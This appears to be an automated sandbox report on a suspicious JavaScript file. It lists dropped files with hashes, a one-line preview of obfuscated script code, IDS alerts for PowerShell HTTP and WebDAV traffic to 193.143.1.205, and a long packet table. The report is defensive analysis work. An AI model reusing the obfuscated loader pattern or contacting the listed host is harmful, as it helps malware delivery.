SSDEEP:	384:aso1Qn7yBtDmqWzI5bAn0OkpRzkCJ9Z8IfxHtB3vRi/oOBVFVGjWXEXCfCAdrMko:i7B
MD5:	FF912CE32A3A0526A9EB037ECD9976BB
SHA1:	A9A4C16BF0FADB9248B48F3BF62D649309EFB74B
SHA-256:	CDB8E7117CA7B33562CA9737E5E5A2A85A40BFED575C8074F11D904C1B59563D
SHA-512:	83F47BA665C5CDD3746783CA9B9B9CD3CDC3393A29EE8E7C96347881105499D84996ECFA642F626043EE03229100748121084217A530A97115EE3390E8A788EC
Malicious:	false
Preview:	SessionID=bdd73e71-5408-499c-9e17-3d8b841ac31b.1736517686745 Timestamp=2025-01-10T09:01:26:745-0500 ThreadID=7596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=bdd73e71-5408-499c-9e17-3d8b841ac31b.1736517686745 Timestamp=2025-01-10T09:01:26:747-0500 ThreadID=7596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=bdd73e71-5408-499c-9e17-3d8b841ac31b.1736517686745 Timestamp=2025-01-10T09:01:26:747-0500 ThreadID=7596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=bdd73e71-5408-499c-9e17-3d8b841ac31b.1736517686745 Timestamp=2025-01-10T09:01:26:747-0500 ThreadID=7596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=bdd73e71-5408-499c-9e17-3d8b841ac31b.1736517686745 Timestamp=2025-01-10T09:01:26:747-0500 ThreadID=7596 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.412833190170462
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR/0:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR2
MD5:	57777FAA476FC62BA961509BC2B38FD5
SHA1:	E9053A78C1FF733AC4A9519E8485D011C7622FA6
SHA-256:	9D56C2FC3D03D25D1B2DE74D1383EC408119834997B08C420B5901CF3C64BE27
SHA-512:	CF1F0C2E3732D285D81A94D6B987E768A8443D6016CE53926F0070D67FFFBB14A018393F311FBF8FAB6B48A7EBECCE3AF2191C916F1E8D647FB6A78DB5670F22
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\390f54b7-da6f-4fc9-92b4-1fecec9d87ef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6227b6d5-2867-4db2-ab34-453107602b4e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gW8ZwYIGNPB07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4W8ZwZGbxYGZn3mlind9i4ufFXpAXkru
MD5:	CE6C2A8BCD4BB6551A15D0C266B4EE06
SHA1:	B75FBCFC15568638BBC06F877439FA96DCB09E07
SHA-256:	82705A9BB65F9BEA25AD9912A45926470BDA1CD49858E142634D8E7436CFC97E
SHA-512:	FA44F6210BC5E0F6AF127654CC4DC15AC1CE8A2F5B5BA2181A4CF17BAEDC3CEA14BBDD496D78CB8FADAA92F05ECDF17AAD65946500109DD4501A7BA24A3E6F60
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7371b1c2-8cf6-4621-a60a-1d6b8eb33f47.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\936fcbc3-72ae-46c6-8dc7-03cc3ab46cc7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14988), with CRLF line terminators
Entropy (8bit):	4.9237924746658965
TrID:
File name:	1712226379134618467.js
File size:	18'337 bytes
MD5:	39fac73c2462ea4420f113b2e8f46ebf
SHA1:	ddea60ab347be0b5dbb3f4080f25573f4285b0ee
SHA256:	a852b98a1bfc6632547b43327aff030ba4ba3d0c9c6a82d3e78767993bd373b0
SHA512:	faa3eec3508b4c963c1020c1a05467707e57f3fd13516edf87928f1076a2526119ea11ebc775825298ba2011db1369b41a50bb22eacb3c5a5fc7680d37041e07
SSDEEP:	384:TVyBbPyFDnSDSRw4MwNA2RCpw5W8yW+2PDggeEBhchmR3el8Ni/uWWgFO8/:TVyBbPyFDSDSRwfQW8yW+2PDgZEBhchl
TLSH:	4D82856C954CDBA7CFF80A3894136CF32D4A11BDCA89081362D4A46E701566CBFEAD7D
File Content Preview:	function kuyit(){ohlti=[1031,3079,5127,4103,2055,3072];var umgvpgx=this[rkftdrnx+yyeajlbac+jiiybhnbr+bcdhw+kiuei+xfvjcyyn+cffppprj+snhda](this[wixgl+dygnbfgyh+zrpob+jiiybhnbr+kcqve+rkftdrnx+snhda][uhxiiug+jiiybhnbr+kiuei+yyeajlbac+snhda+kiuei+lumtw+ivkflq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T15:01:23.112755+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49747	193.143.1.205	80	TCP
2025-01-10T15:01:25.724561+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49763	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:01:22.272257090 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:22.277089119 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:22.277225018 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:22.281284094 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:22.286218882 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112598896 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112621069 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112648010 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112658978 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112670898 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112680912 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112692118 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112703085 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112714052 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112724066 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.112755060 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.112804890 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.112804890 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.117657900 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.162046909 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.176024914 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.176067114 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.176103115 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.176183939 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.224574089 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.232829094 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.232852936 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.232871056 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.232882977 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.232892990 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.232906103 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.232954979 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.232960939 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.232966900 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.233037949 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.233691931 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.233701944 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.233714104 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.233726025 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.233741999 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.233743906 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.233771086 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.234420061 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.234431982 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.234442949 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.234483004 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.234519005 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.234530926 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.234541893 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.235223055 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.235333920 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.247447968 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.247459888 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.247629881 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.264560938 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.266081095 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.298403025 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.298419952 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.298430920 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.298438072 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.298549891 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.321484089 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.321502924 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.321590900 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.353570938 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.353599072 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.353614092 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.353662968 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.353676081 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.353688955 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.353705883 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.353739023 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.353739023 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.353995085 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354007959 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354020119 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354089022 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354101896 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354105949 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.354115009 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354141951 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.354155064 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.354923010 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354942083 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354954004 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354965925 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354979038 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.354996920 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.355020046 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.355020046 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.355330944 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.355688095 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.355707884 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.355720997 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.355809927 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.355815887 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.355829954 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.355845928 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.356021881 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.356568098 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.356614113 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.356626034 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.356714964 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.356715918 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.356729031 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.356740952 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.356775045 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.356803894 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.357428074 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.357449055 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.357461929 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.357539892 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.357546091 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.357553959 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.357593060 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.387115955 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.387128115 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.387145042 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.387154102 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.387176991 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.387201071 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.387254953 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.387254953 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.387283087 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.418540955 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.418551922 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.419342041 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.441647053 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.441660881 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.441672087 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.441747904 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.441756964 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.441756964 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.441760063 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.441771984 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.441807985 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.441808939 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.441823959 CET	80	49747	193.143.1.205	192.168.2.7
